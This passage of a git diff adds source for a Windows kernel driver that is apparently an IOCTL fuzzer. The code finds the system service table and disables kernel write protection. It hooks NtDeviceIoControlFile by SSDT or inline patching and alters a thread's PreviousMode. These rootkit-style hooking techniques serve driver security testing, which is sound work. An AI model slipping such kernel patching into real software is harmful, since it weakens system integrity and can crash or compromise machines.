(((signed __int64)(micros)) * NANOSECONDS(1000L)) + +#define MILLISECONDS(milli) \ + (((signed __int64)(milli)) * MICROSECONDS(1000L)) + +#define SECONDS(seconds) \ + (((signed __int64)(seconds)) * MILLISECONDS(1000L)) + +#define IFMT32 "0x%.8x" +#define IFMT64 "0x%.16I64x" + +#define IFMT32_W L"0x%.8x" +#define IFMT64_W L"0x%.16I64x" + +#ifdef _X86_ + +#define IFMT IFMT32 +#define IFMT_W IFMT32_W + +#elif _AMD64_ + +#define IFMT IFMT64 +#define IFMT_W IFMT64_W + +#endif + +BOOLEAN SetObjectSecurityWorld(HANDLE hObject, ACCESS_MASK AccessMask); +PVOID KernelGetModuleBase(char *ModuleName); +ULONG KernelGetExportAddress(PVOID Image, char *lpszFunctionName); +POBJECT_NAME_INFORMATION GetObjectName(PVOID pObject); +POBJECT_NAME_INFORMATION GetObjectNameByHandle(HANDLE hObject); +POBJECT_NAME_INFORMATION GetFullNtPath(PUNICODE_STRING Name); +BOOLEAN GetNormalizedModulePath(PANSI_STRING asPath, PANSI_STRING asNormalizedPath); +PVOID GetSysInf(SYSTEM_INFORMATION_CLASS InfoClass); +BOOLEAN AllocUnicodeString(PUNICODE_STRING us, USHORT MaximumLength); +BOOLEAN AppendUnicodeToString(PUNICODE_STRING Dest, PCWSTR Source, USHORT Len); +ULONG GetFileSize(HANDLE hFile, PULONG FileSizeHigh); +BOOLEAN ReadFromFile(PUNICODE_STRING FileName, PVOID *Data, PULONG DataSize); +BOOLEAN DumpToFile(PUNICODE_STRING FileName, PVOID Data, ULONG DataSize); +BOOLEAN DeleteFile(PUNICODE_STRING usFileName); +BOOLEAN LoadImageAsDataFile(PUNICODE_STRING usName, PVOID *Image, PULONG MappedImageSize); +void __stdcall ClearWp(PVOID Param); +void __stdcall SetWp(PVOID Param); +void ForEachProcessor(PKSTART_ROUTINE Routine, PVOID Param); +ULONG GetSyscallNumber(char *lpszName); +BOOLEAN RegQueryValueKey(HANDLE hKey, PWSTR lpwcName, ULONG Type, PVOID *Data, PULONG DataSize); +BOOLEAN RegSetValueKey(HANDLE hKey, PWSTR lpwcName, ULONG Type, PVOID Data, ULONG DataSize); +BOOLEAN GetProcessFullImagePath(PEPROCESS Process, PUNICODE_STRING ImagePath); + + +typedef struct _MAPPED_MDL +{ + PMDL Mdl; + PVOID Buffer; + PVOID MappedBuffer; + +} MAPPED_MDL, +*PMAPPED_MDL; + +BOOLEAN AllocateUserMemory(ULONG Size, PMAPPED_MDL MdlInfo); +void FreeUserMemory(PMAPPED_MDL MdlInfo); + +BOOLEAN IsWow64Process(PEPROCESS Process, BOOLEAN *bIsWow64); diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/common_asm.h b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/common_asm.h new file mode 100644 index 00000000..3bc86d81 --- /dev/null +++ b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/common_asm.h @@ -0,0 +1,21 @@ +#ifdef __cplusplus +extern "C" +{ +#endif + +void __stdcall _clear_wp(void); +void __stdcall _set_wp(void); + +NTSTATUS +NTAPI +_ZwProtectVirtualMemory( + HANDLE ProcessHandle, + PVOID *BaseAddress, + PSIZE_T NumberOfBytesToProtect, + ULONG NewAccessProtection, + PULONG OldAccessProtection +); + +#ifdef __cplusplus +} +#endif diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/common_change_asm.cpp b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/common_change_asm.cpp new file mode 100644 index 00000000..c121b91d --- /dev/null +++ b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/common_change_asm.cpp @@ -0,0 +1,2 @@ +#include "common_change_asm.h" + diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/debug.c b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/debug.c new file mode 100644 index 00000000..f1a85199 --- /dev/null +++ b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/debug.c @@ -0,0 +1,278 @@ +#include "stdafx.h" + +#define DBGMSG_BUFF_SIZE 0x1000 + +HANDLE hDbgPipe = NULL, hDbgLogFile = NULL; +KMUTEX DbgMutex; +//-------------------------------------------------------------------------------------- +char *GetNameFromFullPath(char *lpszPath) +{ + char *lpszName = lpszPath; + + size_t i = 0; + for (i = 0; i < strlen(lpszPath); i++) + { + if (lpszPath[i] == '\\' || lpszPath[i] == '/') + { + lpszName = lpszPath + i + 1; + } + } + + return lpszName; +} +//-------------------------------------------------------------------------------------- +#ifdef DBGMSG_FULL +//-------------------------------------------------------------------------------------- +void DbgMsg(char *lpszFile, int Line, char *lpszMsg, ...) +{ + va_list mylist; + + char *lpszOutBuff = NULL; + char *lpszBuff = (char *)M_ALLOC(DBGMSG_BUFF_SIZE); + if (lpszBuff == NULL) + { + return; + } + + lpszOutBuff = (char *)M_ALLOC(DBGMSG_BUFF_SIZE); + if (lpszOutBuff == NULL) + { + M_FREE(lpszBuff); + return; + } + + va_start(mylist, lpszMsg); + vsprintf(lpszBuff, lpszMsg, mylist); + va_end(mylist); + + sprintf(lpszOutBuff, "%s(%d) : %s", GetNameFromFullPath(lpszFile), Line, lpszBuff); + +#ifdef DBGMSG + + DbgPrint(lpszOutBuff); + +#endif + +#if defined(DBGPIPE) || defined(DBGLOGFILE) + + if (KeGetCurrentIrql() == PASSIVE_LEVEL) + { + KeWaitForMutexObject(&DbgMutex, Executive, KernelMode, FALSE, NULL); + + if (hDbgPipe) + { + // write debug message into pipe + IO_STATUS_BLOCK IoStatusBlock; + ULONG Len = (ULONG)strlen(lpszOutBuff) + 1; + + ZwWriteFile(hDbgPipe, 0, NULL, NULL, &IoStatusBlock, (PVOID)&Len, sizeof(Len), NULL, NULL); + ZwWriteFile(hDbgPipe, 0, NULL, NULL, &IoStatusBlock, lpszOutBuff, Len, NULL, NULL); + } + + if (hDbgLogFile) + { + // write debug message into logfile + IO_STATUS_BLOCK IoStatusBlock; + ULONG Len = (ULONG)strlen(lpszOutBuff); + + ZwWriteFile(hDbgLogFile, 0, NULL, NULL, &IoStatusBlock, lpszOutBuff, Len, NULL, NULL); + } + + KeReleaseMutex(&DbgMutex, FALSE); + } + +#endif // DBGPIPE/DBGLOGFILE + + M_FREE(lpszBuff); + M_FREE(lpszOutBuff); +} +//-------------------------------------------------------------------------------------- +#ifdef DBGPIPE +//-------------------------------------------------------------------------------------- +void DbgOpenPipe(void) +{ + OBJECT_ATTRIBUTES ObjAttr; + IO_STATUS_BLOCK IoStatusBlock; + UNICODE_STRING usPipeName; + + NTSTATUS status = STATUS_UNSUCCESSFUL; + + RtlInitUnicodeString(&usPipeName, L"\\Device\\NamedPipe\\" DBG_PIPE_NAME); + + InitializeObjectAttributes(&ObjAttr, &usPipeName, + OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL); + + KeWaitForMutexObject(&DbgMutex, Executive, KernelMode, FALSE, NULL); + + // open data pipe by name + status = ZwCreateFile( + &hDbgPipe, + FILE_WRITE_DATA | SYNCHRONIZE, + &ObjAttr, + &IoStatusBlock, + 0, + FILE_ATTRIBUTE_NORMAL, + 0, + FILE_OPEN, + FILE_SYNCHRONOUS_IO_NONALERT, + NULL, + 0 + ); + if (!NT_SUCCESS(status)) + { + DbgMsg(__FILE__, __LINE__, "ZwCreateFile() fails; status: 0x%.8x\n", status); + } + + KeReleaseMutex(&DbgMutex, FALSE); +} +//-------------------------------------------------------------------------------------- +void DbgClosePipe(void) +{ + KeWaitForMutexObject(&DbgMutex, Executive, KernelMode, FALSE, NULL); + + if (hDbgPipe) + { + ZwClose(hDbgPipe); + hDbgPipe = NULL; + } + + KeReleaseMutex(&DbgMutex, FALSE); +} +//-------------------------------------------------------------------------------------- +#endif // DBGPIPE +//-------------------------------------------------------------------------------------- +#ifdef DBGLOGFILE +//-------------------------------------------------------------------------------------- +void DbgOpenLogFile(void) +{ + OBJECT_ATTRIBUTES ObjAttr; + IO_STATUS_BLOCK StatusBlock; + UNICODE_STRING usFileName; + + RtlInitUnicodeString(&usFileName, DBG_LOGFILE_NAME); + + InitializeObjectAttributes(&ObjAttr, &usFileName, + OBJ_KERNEL_HANDLE | OBJ_CASE_INSENSITIVE , NULL, NULL); + + KeWaitForMutexObject(&DbgMutex, Executive, KernelMode, FALSE, NULL); + + NTSTATUS status = ZwCreateFile( + &hDbgLogFile, + FILE_ALL_ACCESS | SYNCHRONIZE, + &ObjAttr, + &StatusBlock, + NULL, + FILE_ATTRIBUTE_NORMAL, + 0, + FILE_OVERWRITE_IF, + FILE_SYNCHRONOUS_IO_NONALERT, + NULL, + 0 + ); + if (!NT_SUCCESS(status)) + { + DbgMsg(__FILE__, __LINE__, "ZwCreateFile() fails; status: 0x%.8x\n", status); + } + + KeReleaseMutex(&DbgMutex, FALSE); +} +//-------------------------------------------------------------------------------------- +#endif // DBGLOGFILE +//-------------------------------------------------------------------------------------- +void DbgClose(void) +{ + KeWaitForMutexObject(&DbgMutex, Executive, KernelMode, FALSE, NULL); + + if (hDbgPipe) + { + ZwClose(hDbgPipe); + hDbgPipe = NULL; + } + + if (hDbgLogFile) + { + ZwClose(hDbgLogFile); + hDbgLogFile = NULL; + } + + KeReleaseMutex(&DbgMutex, FALSE); +} +//-------------------------------------------------------------------------------------- +void DbgInit(void) +{ + +#if defined(DBGPIPE) || defined(DBGLOGFILE) + + KeInitializeMutex(&DbgMutex, NULL); + +#endif // DBGPIPE/DBGLOGFILE + +} +//-------------------------------------------------------------------------------------- +#endif // DBGMSG_FULL +//-------------------------------------------------------------------------------------- +void DbgHexdump(PUCHAR Data, ULONG Length) +{ + ULONG dp = 0, p = 0; + const char trans[] = + "................................ !\"#$%&'()*+,-./0123456789" + ":;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklm" + "nopqrstuvwxyz{|}~...................................." + "....................................................." + "........................................"; + + char szBuff[0x100], szChar[10]; + RtlZeroMemory(szBuff, sizeof(szBuff)); + + for (dp = 1; dp <= Length; dp++) + { + sprintf(szChar, "%02x ", Data[dp-1]); + strcat(szBuff, szChar); + + if ((dp % 8) == 0) + { + strcat(szBuff, " "); + } + + if ((dp % 16) == 0) + { + strcat(szBuff, "| "); + p = dp; + + for (dp -= 16; dp < p; dp++) + { + sprintf(szChar, "%c", trans[Data[dp]]); + strcat(szBuff, szChar); + } + + DbgMsg(__FILE__, __LINE__, "%.8x: %s\r\n", dp - 16, szBuff); + RtlZeroMemory(szBuff, sizeof(szBuff)); + } + } + + if ((Length % 16) != 0) + { + p = dp = 16 - (Length % 16); + + for (dp = p; dp > 0; dp--) + { + strcat(szBuff, " "); + + if (((dp % 8) == 0) && (p != 8)) + { + strcat(szBuff, " "); + } + } + + strcat(szBuff, " | "); + for (dp = (Length - (16 - p)); dp < Length; dp++) + { + sprintf(szChar, "%c", trans[Data[dp]]); + strcat(szBuff, szChar); + } + + DbgMsg(__FILE__, __LINE__, "%.8x: %s\r\n", Length - (Length % 16), szBuff); + } +} +//-------------------------------------------------------------------------------------- +// EoF diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/debug.h b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/debug.h new file mode 100644 index 00000000..33a7d3d4 --- /dev/null +++ b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/debug.h @@ -0,0 +1,25 @@ +#include +#ifdef DBGMSG_FULL + +void DbgMsg(char *lpszFile, int Line, char *lpszMsg, ...); +void DbgClose(void); +void DbgInit(void); + +#else // DBGMSG_FULL + +#define DbgMsg +#define DbgClose +#define DbgInit + +#endif // DBGMSG_FULL + +#ifdef DBGPIPE +void DbgOpenPipe(void); +void DbgClosePipe(void); +#endif + +#ifdef DBGLOGFILE +void DbgOpenLogFile(void); +#endif + +void DbgHexdump(PUCHAR Data, ULONG Length); diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/driver.c b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/driver.c new file mode 100644 index 00000000..1995ea94 --- /dev/null +++ b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/driver.c @@ -0,0 +1,1353 @@ +#include "stdafx.h" + +/** + * Offsets for some undocummented structures + */ +ULONG m_KTHREAD_PrevMode = 0; + +/** + * System services numbers + */ +//extern "C" +//{ +ULONG m_SDT_NtDeviceIoControlFile = 0; +ULONG m_SDT_NtProtectVirtualMemory = 0; + +#ifdef _AMD64_ +// need for system services calling on x64 kernels +PVOID _KiServiceInternal = 0; +#endif + +extern POBJECT_TYPE *IoDeviceObjectType; +extern POBJECT_TYPE *IoFileObjectType; + +//} + +// defined in handlers.cpp +extern NT_DEVICE_IO_CONTROL_FILE old_NtDeviceIoControlFile; + +#ifdef _AMD64_ +// stuff for function code patching +ULONG NtDeviceIoControlFile_BytesPatched = 0; +NT_DEVICE_IO_CONTROL_FILE f_NtDeviceIoControlFile = NULL; +#endif + +RTL_OSVERSIONINFOW m_VersionInformation; + +PDEVICE_OBJECT m_DeviceObject = NULL; +UNICODE_STRING m_usDosDeviceName, m_usDeviceName; +UNICODE_STRING m_RegistryPath; + +PCOMMON_LST m_ProcessesList = NULL; +KMUTEX m_CommonMutex; + +BOOLEAN m_bHooksInitialized = FALSE; + +/** + * Fuzzing settings + * defined in handlers.cpp + */ +extern FUZZING_TYPE m_FuzzingType; +extern ULONG m_FuzzOptions; + +extern HANDLE m_FuzzThreadId; +extern PEPROCESS m_FuzzProcess; +extern PUSER_MODE_DATA m_UserModeData; + +PSERVICE_DESCRIPTOR_TABLE m_KeServiceDescriptorTable = NULL; +#define SYSTEM_SERVICE(_p_) m_KeServiceDescriptorTable->Entry[0].ServiceTableBase[_p_] + +// defined in log.cpp +extern HANDLE m_hIoctlsLogFile; +extern UNICODE_STRING m_usIoctlsLogFilePath; + +//extern "C" PUSHORT NtBuildNumber; +//extern "C" NTSTATUS NTAPI DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath); +//-------------------------------------------------------------------------------------- +ULONG GetPrevModeOffset(void) +{ + ULONG Ret = 0; + + PVOID KernelBase = KernelGetModuleBase("ntoskrnl.exe"); + if (KernelBase) + { + // get address of nt!ExGetPreviousMode() + ULONG Func_RVA = KernelGetExportAddress(KernelBase, "ExGetPreviousMode"); + if (Func_RVA > 0) + { + PUCHAR Func = (PUCHAR)RVATOVA(KernelBase, Func_RVA); + +#ifdef _X86_ + + /* + nt!ExGetPreviousMode: + 8052b334 64a124010000 mov eax,dword ptr fs:[00000124h] + 8052b33a 8a8040010000 mov al,byte ptr [eax+140h] + 8052b340 c3 ret + */ + + // check for mov instruction + if (*(PUSHORT)(Func + 6) == 0x808a) + { + // get offset value from second operand + Ret = *(PULONG)(Func + 8); + } + +#elif _AMD64_ + + /* + nt!ExGetPreviousMode: + fffff800`02691d50 65488b042588010000 mov rax,qword ptr gs:[188h] + fffff800`02691d59 8a80f6010000 mov al,byte ptr [rax+1F6h] + fffff800`02691d5f c3 ret + */ + + // check for mov instruction + if (*(PUSHORT)(Func + 9) == 0x808a) + { + // get offset value from second operand + Ret = *(PULONG)(Func + 11); + } +#endif + + } + else + { + DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: Symbol nt!KeServiceDescriptorTable is not found\n"); + } + } + else + { + DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: Unable to locate kernel base\n"); + } + + if (Ret) + { + DbgMsg(__FILE__, __LINE__, __FUNCTION__"(): KTHREAD::PreviousMode offset is 0x%.4x\n", Ret); + } + + return Ret; +} +//-------------------------------------------------------------------------------------- +PVOID GetKeSDT(void) +{ + PVOID Ret = NULL; + +#ifdef _X86_ + + PVOID KernelBase = KernelGetModuleBase("ntoskrnl.exe"); + if (KernelBase) + { + ULONG KeSDT_RVA = KernelGetExportAddress(KernelBase, "KeServiceDescriptorTable"); + if (KeSDT_RVA > 0) + { + Ret = RVATOVA(KernelBase, KeSDT_RVA); + } + else + { + DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: Symbol nt!KeServiceDescriptorTable is not found\n"); + } + } + else + { + DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: Unable to locate kernel base\n"); + } + +#elif _AMD64_ + + #define MAX_INST_LEN 24 + + PVOID KernelBase = KernelGetModuleBase("ntoskrnl.exe"); + if (KernelBase) + { + ULONG Func_RVA = KernelGetExportAddress(KernelBase, "KeAddSystemServiceTable"); + if (Func_RVA > 0) + { + UCHAR ud_mode = 64; + ULONG i = 0; + + + // initialize disassembler engine + ud_t ud_obj; + ud_init(&ud_obj); + + + + // set mode, syntax and vendor + ud_set_mode(&ud_obj, ud_mode); + ud_set_syntax(&ud_obj, UD_SYN_INTEL); + ud_set_vendor(&ud_obj, UD_VENDOR_INTEL); + + for (i = 0; i < 0x40;) + { + ULONG InstLen = 0; + PUCHAR Inst = (PUCHAR)RVATOVA(KernelBase, Func_RVA + i); + if (!MmIsAddressValid(Inst)) + { + DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: Invalid memory at "IFMT"\n", Inst); + break; + } + + ud_set_input_buffer(&ud_obj, Inst, MAX_INST_LEN); + + // get length of the instruction + InstLen = ud_disassemble(&ud_obj); + if (InstLen == 0) + { + // error while disassembling instruction + DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: Can't disassemble instruction at "IFMT"\n", Inst); + break; + } + + /* + Check for the following code + + nt!KeAddSystemServiceTable: + fffff800`012471c0 448b542428 mov r10d,dword ptr [rsp+28h] + fffff800`012471c5 4183fa01 cmp r10d,1 + fffff800`012471c9 0f871ab70c00 ja nt!KeAddSystemServiceTable+0x78 + fffff800`012471cf 498bc2 mov rax,r10 + fffff800`012471d2 4c8d1d278edbff lea r11,0xfffff800`01000000 + fffff800`012471d9 48c1e005 shl rax,5 + fffff800`012471dd 4a83bc1880bb170000 cmp qword ptr [rax+r11+17BB80h],0 + fffff800`012471e6 0f85fdb60c00 jne nt!KeAddSystemServiceTable+0x78 + */ + + if ((*(PULONG)Inst & 0x00ffffff) == 0x1d8d4c && + (*(PUSHORT)(Inst + 0x0b) == 0x834b || *(PUSHORT)(Inst + 0x0b) == 0x834a)) + { + // clculate nt!KeServiceDescriptorTableAddress + LARGE_INTEGER Addr; + Addr.QuadPart = (ULONGLONG)Inst + InstLen; + Addr.LowPart += *(PULONG)(Inst + 0x03) + *(PULONG)(Inst + 0x0f); + + Ret = (PVOID)Addr.QuadPart; + + break; + } + + i += InstLen; + } + } + else + { + DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: Symbol nt!KeServiceDescriptorTable is not found\n"); + } + } + else + { + DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: Unable to locate kernel base\n"); + } + +#endif + + if (Ret) + { + DbgMsg(__FILE__, __LINE__, __FUNCTION__"(): nt!KeServiceDescriptorTable is at "IFMT"\n", Ret); + } + + return Ret; +} +//-------------------------------------------------------------------------------------- +ULONG LoadSyscallNumber(char *lpszName) +{ + ULONG Ret = -1; + UNICODE_STRING usName; + ANSI_STRING asName; + NTSTATUS ns = STATUS_UNSUCCESSFUL; + + RtlInitAnsiString(&asName, lpszName); + ns = RtlAnsiStringToUnicodeString(&usName, &asName, TRUE); + if (NT_SUCCESS(ns)) + { + HANDLE hKey = NULL; + OBJECT_ATTRIBUTES ObjAttr; + InitializeObjectAttributes(&ObjAttr, &m_RegistryPath, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL); + + // open service key + ns = ZwOpenKey(&hKey, KEY_ALL_ACCESS, &ObjAttr); + if (NT_SUCCESS(ns)) + { + PVOID Val = NULL; + ULONG ValSize = 0; + WCHAR wcValueName[0x100]; + swprintf(wcValueName, L"%wZ", &usName); + + if (RegQueryValueKey(hKey, wcValueName, REG_DWORD, &Val, &ValSize)) + { + if (ValSize == sizeof(ULONG)) + { + Ret = *(PULONG)Val; + } + else + { + DbgMsg(__FILE__, __LINE__, __FUNCTION__"() WARNING: Invalid size for '%ws' value\n", wcValueName); + } + + M_FREE(Val); + } + + if (Ret == -1) + { + Ret = GetSyscallNumber(lpszName); + if (Ret != -1) + { + RegSetValueKey(hKey, wcValueName, REG_DWORD, (PVOID)&Ret, sizeof(ULONG)); + } + } + + ZwClose(hKey); + } + else + { + DbgMsg(__FILE__, __LINE__, "ZwOpenKey() fails; status: 0x%.8x\n", ns); + } + + RtlFreeUnicodeString(&usName); + } + else + { + DbgMsg(__FILE__, __LINE__, "RtlAnsiStringToUnicodeString() fails; status: 0x%.8x\n", ns); + } + + return Ret; +} +//-------------------------------------------------------------------------------------- +BOOLEAN InitSdtNumbers(void) +{ + PVOID KernelBase = NULL; + m_SDT_NtDeviceIoControlFile = LoadSyscallNumber("NtDeviceIoControlFile"); + m_SDT_NtProtectVirtualMemory = LoadSyscallNumber("NtProtectVirtualMemory"); + + DbgMsg(__FILE__, __LINE__, "SDT number of NtDeviceIoControlFile: 0x%.8x\n", m_SDT_NtDeviceIoControlFile); + DbgMsg(__FILE__, __LINE__, "SDT number of NtProtectVirtualMemory: 0x%.8x\n", m_SDT_NtProtectVirtualMemory); + +#ifdef _AMD64_ + + // get nt!KiServiceInternal address + KernelBase = KernelGetModuleBase("ntoskrnl.exe"); + if (KernelBase) + { + // get address of nt!ZwCreateFile() + ULONG FuncOffset = KernelGetExportAddress(KernelBase, "ZwCreateFile"); + if (FuncOffset > 0) + { + PUCHAR FuncAddr = (PUCHAR)RVATOVA(KernelBase, FuncOffset); +/* + nt!ZwCreateFile: + fffff800`0169c800 488bc4 mov rax,rsp + fffff800`0169c803 fa cli + fffff800`0169c804 4883ec10 sub rsp,10h + fffff800`0169c808 50 push rax + fffff800`0169c809 9c pushfq + fffff800`0169c80a 6a10 push 10h + fffff800`0169c80c 488d052d4b0000 lea rax,[nt!KiServiceLinkage (fffff800`016a1340)] + fffff800`0169c813 50 push rax + fffff800`0169c814 b852000000 mov eax,52h + fffff800`0169c819 e962430000 jmp nt!KiServiceInternal (fffff800`016a0b80) +*/ + PUCHAR JmpAddr = FuncAddr + 25; + if (*JmpAddr == 0xE9) + { + _KiServiceInternal = (PVOID)((PCHAR)JmpAddr + *(PLONG)(JmpAddr + 1) + 5); + DbgMsg(__FILE__, __LINE__, __FUNCTION__"(): nt!KiServiceInternal is at "IFMT"\n", _KiServiceInternal); + } + else + { + DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: Can't find nt!KiServiceInternal\n"); + } + } + else + { + DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: Can't get address of nt!ZwCreateFile\n"); + } + } + else + { + DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: Can't get kernel base address\n"); + } + +#endif // _AMD64_ + + if (m_SDT_NtDeviceIoControlFile > 0 && m_SDT_NtProtectVirtualMemory > 0) + { + return TRUE; + } + else + { + DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: GetSyscallNumber() fails for one or more function\n"); + } + + return FALSE; +} +//-------------------------------------------------------------------------------------- +BOOLEAN SetUpHooks(void) +{ + if (m_bHooksInitialized) + { + // hooks is allready initialized + return TRUE; + } + + // lookup for SDT indexes + if (!InitSdtNumbers()) + { + DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: InitSdtNumbers() fails\n"); + return FALSE; + } + + if (m_KeServiceDescriptorTable = (PSERVICE_DESCRIPTOR_TABLE)GetKeSDT()) + { + PULONG KiST = NULL; + LARGE_INTEGER Addr; + // disable memory write protection + ForEachProcessor(ClearWp, NULL); + +#ifdef _X86_ + + // set up hook + old_NtDeviceIoControlFile = (NT_DEVICE_IO_CONTROL_FILE)InterlockedExchange( + (PLONG)&SYSTEM_SERVICE(m_SDT_NtDeviceIoControlFile), + (LONG)new_NtDeviceIoControlFile + ); + +// DbgMsg( +// __FILE__, __LINE__, +// "Hooking nt!NtDeviceIoControlFile(): "IFMT" -> "IFMT"\n", +// old_NtDeviceIoControlFile, new_NtDeviceIoControlFile +// ); + +#elif _AMD64_ + + KiST = (PULONG)m_KeServiceDescriptorTable->Entry[0].ServiceTableBase; + + + /* + Calculate address of nt!NtDeviceIoControlFile() by offset + from the begining of nt!KiServiceTable. + Low 15 bits stores number of in-memory arguments. + */ + Addr.QuadPart = (LONGLONG)KiST; + + if (m_VersionInformation.dwMajorVersion >= 6) + { + // Vista and newer + ULONG Val = *(KiST + m_SDT_NtDeviceIoControlFile); + Val -= *(KiST + m_SDT_NtDeviceIoControlFile) & 15; + Addr.LowPart += Val >> 4; + } + else + { + // Server 2003 + Addr.LowPart += *(KiST + m_SDT_NtDeviceIoControlFile); + Addr.LowPart -= *(KiST + m_SDT_NtDeviceIoControlFile) & 15; + } + + f_NtDeviceIoControlFile = (NT_DEVICE_IO_CONTROL_FILE)Addr.QuadPart; + + DbgMsg( + __FILE__, __LINE__, + __FUNCTION__"(): nt!NtDeviceIoControlFile() is at "IFMT"\n", + Addr.QuadPart + ); + +// DbgMsg( +// __FILE__, __LINE__, +// "Hooking nt!NtDeviceIoControlFile(): "IFMT" -> "IFMT"\n", +// f_NtDeviceIoControlFile, new_NtDeviceIoControlFile +// ); + + old_NtDeviceIoControlFile = (NT_DEVICE_IO_CONTROL_FILE)Hook( + f_NtDeviceIoControlFile, + new_NtDeviceIoControlFile, + &NtDeviceIoControlFile_BytesPatched + ); + +#endif + + // enable memory write protection + ForEachProcessor(SetWp, NULL); + + return TRUE; + } + else + { + DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: GetKeSDT() fails\n"); + } + + return FALSE; +} +//-------------------------------------------------------------------------------------- +BOOLEAN RemoveHooks(void) +{ + if (m_SDT_NtDeviceIoControlFile == 0) + { + DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: m_SDT_NtDeviceIoControlFile is not initialized\n"); + return FALSE; + } + + if (m_KeServiceDescriptorTable == NULL) + { + DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: m_KeServiceDescriptorTable is not initialized\n"); + return FALSE; + } + + if (old_NtDeviceIoControlFile) + { + ForEachProcessor(ClearWp, NULL); + +#ifdef _X86_ + + // restore changed address in nt!KiServiceTable + InterlockedExchange( + (PLONG)&SYSTEM_SERVICE(m_SDT_NtDeviceIoControlFile), + (LONG)old_NtDeviceIoControlFile + ); + +#elif _AMD64_ + + // restore patched function code + memcpy(f_NtDeviceIoControlFile, old_NtDeviceIoControlFile, NtDeviceIoControlFile_BytesPatched); + +#endif + + ForEachProcessor(SetWp, NULL); + } + + m_bHooksInitialized = FALSE; + + return TRUE; +} +//-------------------------------------------------------------------------------------- +void SetPreviousMode(KPROCESSOR_MODE Mode) +{ + PRKTHREAD CurrentThread = KeGetCurrentThread(); + *((PUCHAR)CurrentThread + m_KTHREAD_PrevMode) = (UCHAR)Mode; +} +//-------------------------------------------------------------------------------------- +BOOLEAN SaveFuzzerOptions(void) +{ + HANDLE hKey = NULL; + NTSTATUS ns = STATUS_UNSUCCESSFUL; + OBJECT_ATTRIBUTES ObjAttr; + InitializeObjectAttributes(&ObjAttr, &m_RegistryPath, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL); + + // open service key + ns = ZwOpenKey(&hKey, KEY_ALL_ACCESS, &ObjAttr); + if (NT_SUCCESS(ns)) + { + UNICODE_STRING usAllowRules, usDenyRules; + RtlInitUnicodeString(&usAllowRules, L"_allow_rules"); + RtlInitUnicodeString(&usDenyRules, L"_deny_rules"); + + // save allow rules + SaveAllowRules(hKey, &usAllowRules); + + // save deny rules + SaveDenyRules(hKey, &usDenyRules); + + // save options + RegSetValueKey(hKey, L"_options", REG_DWORD, (PVOID)&m_FuzzOptions, sizeof(ULONG)); + + // save fuzzing type + RegSetValueKey(hKey, L"_fuzzing_type", REG_DWORD, (PVOID)&m_FuzzingType, sizeof(ULONG)); + + ZwClose(hKey); + return TRUE; + } + else + { + DbgMsg(__FILE__, __LINE__, "ZwOpenKey() fails; status: 0x%.8x\n", ns); + } + + return FALSE; +} +//-------------------------------------------------------------------------------------- +BOOLEAN DeleteSavedFuzzerOptions(void) +{ + HANDLE hKey = NULL; + NTSTATUS ns = STATUS_UNSUCCESSFUL; + OBJECT_ATTRIBUTES ObjAttr; + InitializeObjectAttributes(&ObjAttr, &m_RegistryPath, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL); + + // open service key + ns = ZwOpenKey(&hKey, KEY_ALL_ACCESS, &ObjAttr); + if (NT_SUCCESS(ns)) + { + UNICODE_STRING usAllowRules, usDenyRules, usOptions, usFuzzingType; + RtlInitUnicodeString(&usAllowRules, L"_allow_rules"); + RtlInitUnicodeString(&usDenyRules, L"_deny_rules"); + RtlInitUnicodeString(&usOptions, L"_options"); + RtlInitUnicodeString(&usFuzzingType, L"_fuzzing_type"); + + // remove saved options + ZwDeleteValueKey(hKey, &usAllowRules); 